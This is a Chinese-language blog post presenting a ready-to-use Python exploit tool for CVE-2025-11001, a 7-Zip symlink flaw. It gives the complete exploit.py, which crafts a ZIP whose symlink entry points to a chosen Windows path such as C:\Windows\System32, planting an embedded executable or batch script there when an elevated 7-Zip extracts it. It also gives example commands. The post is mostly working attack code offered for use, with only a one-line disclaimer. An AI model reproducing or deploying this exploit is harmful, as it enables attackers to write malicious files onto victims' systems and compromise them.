7-Zip CVE-2025-11001漏洞利用工具

CVE-2025-11001 漏洞利用工具

这是一个针对CVE-2025-11001漏洞的Python利用工具。该漏洞影响7-Zip 21.02至25.00版本,允许攻击者通过特制的ZIP文件在具有管理员权限的7-Zip中实现任意文件写入。

功能特性

  • 自动化漏洞利用:自动生成包含符号链接的特制ZIP文件
  • 灵活配置:可自定义目标路径、输出文件名和数据文件
  • 精确控制:支持自定义顶层目录和链接名称
  • 跨平台兼容:基于Python开发,可在多平台运行
  • 安全测试:专为安全研究和渗透测试设计

安装指南

系统要求

  • Python 3.6 或更高版本
  • 操作系统:Windows、Linux 或 macOS
  • 无需额外依赖包,使用Python标准库

安装步骤

  1. 克隆或下载项目
git clone <repository-url>
cd 7zip-exploit-tool
  1. 验证Python环境
python --version
  1. 工具准备就绪
    无需编译或安装,直接运行Python脚本即可。

使用说明

基础使用示例

# 基本用法:创建一个指向桌面的符号链接,并嵌入calc.exe文件
python3 exploit.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe

命令行参数详解

参数 简写 描述 示例
--zip-out -o 输出ZIP文件路径 -o exploit.zip
--symlink-target -t 符号链接指向的目标路径(Windows格式) -t "C:\Windows\System32"
--data-file -f 要嵌入的本地文件路径 -f payload.exe
--dir-name 顶层目录名称(默认:data) --dir-name folder
--link-name 顶层目录下的符号链接名称(默认:link_in) --link-name symlink

典型使用场景

  1. 安全测试
# 测试向系统目录写入文件
python3 exploit.py -t "C:\Windows\System32" -o test.zip -f test.exe
  1. 自定义目录结构
# 使用自定义目录和链接名称
python3 exploit.py -t "C:\ProgramData" -o custom.zip -f script.bat --dir-name malware --link-name entry

漏洞利用条件

重要注意事项

  • 仅影响Windows平台
  • 7-Zip必须以管理员权限运行
  • 受影响的7-Zip版本:21.02 - 25.00
  • 漏洞详情请参阅技术博客

核心代码

主执行脚本 (exploit.py)

import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    """
    向ZIP文件中添加目录条目
    
    参数:
    z: ZipFile对象
    arcname: 归档中的目录路径
    """
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3  # Unix系统标识
    zi.external_attr = (0o040755 << 16) | 0x10  # 目录权限属性
    zi.compress_type = zipfile.ZIP_STORED  # 不压缩
    z.writestr(zi, b'')  # 写入空内容作为目录

def add_symlink(z, arcname, target):
    """
    向ZIP文件中添加符号链接
    
    参数:
    z: ZipFile对象
    arcname: 归档中的符号链接路径
    target: 符号链接指向的目标路径
    """
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3  # Unix系统标识
    zi.external_attr = (0o120777 << 16)  # 符号链接权限属性
    zi.compress_type = zipfile.ZIP_STORED  # 不压缩
    z.writestr(zi, target.encode('utf-8'))  # 写入目标路径作为链接内容

def add_file_from_disk(z, arcname, src_path):
    """
    从磁盘读取文件并添加到ZIP
    
    参数:
    z: ZipFile对象
    arcname: 归档中的文件路径
    src_path: 源文件的本地路径
    """
    with open(src_path, 'rb') as f:
        payload = f.read()  # 读取文件内容
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3  # Unix系统标识
    zi.external_attr = (0o100644 << 16)  # 普通文件权限属性
    zi.compress_type = zipfile.ZIP_STORED  # 不压缩
    z.writestr(zi, payload)  # 写入文件内容

def main():
    """
    主函数:解析参数并创建特制ZIP文件
    """
    parser = argparse.ArgumentParser(
        description="Crafts a zip that exploits CVE-2025-11001."
    )
    parser.add_argument(
        "--zip-out", "-o",
        required=True,
        help="Path to the output ZIP file."
    )
    parser.add_argument(
        "--symlink-target", "-t",
        required=True,
        help="Destination path the symlink points to - specify a \"C:\" path"
    )
    parser.add_argument(
        "--data-file", "-f",
        required=True,
        help="Path to the local file to embed e.g an executable or bat script."
    )
    parser.add_argument(
        "--dir-name",
        default="data",
        help="Top-level directory name inside the ZIP (default: data)."
    )
    parser.add_argument(
        "--link-name",
        default="link_in",
        help="Symlink entry name under the top directory (default: link_in)."
    )
    args = parser.parse_args()

    # 构建ZIP中的路径结构
    top_dir = args.dir_name.rstrip("/")
    link_entry = f"{top_dir}/{args.link_name}"
    embedded_name = os.path.basename(args.data_file)
    file_entry = f"{link_entry}/{embedded_name}"

    # 创建ZIP文件并添加内容
    with zipfile.ZipFile(args.zip_out, "w") as z:
        add_dir(z, top_dir)  # 添加顶层目录
        add_symlink(z, link_entry, args.symlink_target)  # 添加符号链接
        add_file_from_disk(z, file_entry, args.data_file)  # 添加数据文件

    print(f"Wrote {args.zip_out}")

if __name__ == "__main__":
    main()

工具设计解析

该工具通过以下三个核心函数构建特制ZIP文件:

  1. add_dir():创建目录条目,设置Unix风格的目录权限
  2. add_symlink():创建符号链接,指向用户指定的目标路径
  3. add_file_from_disk():将本地文件嵌入到ZIP中

漏洞原理:利用7-Zip在处理包含符号链接的ZIP文件时的缺陷,当7-Zip以管理员权限运行时,会创建符号链接并写入文件到符号链接指向的位置,从而实现任意文件写入。

安全建议:该工具仅用于安全研究和授权测试,使用时请确保遵守相关法律法规和道德准则。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

posted @ 2025-12-26 16:20  qife  阅读(3)  评论(0)    收藏  举报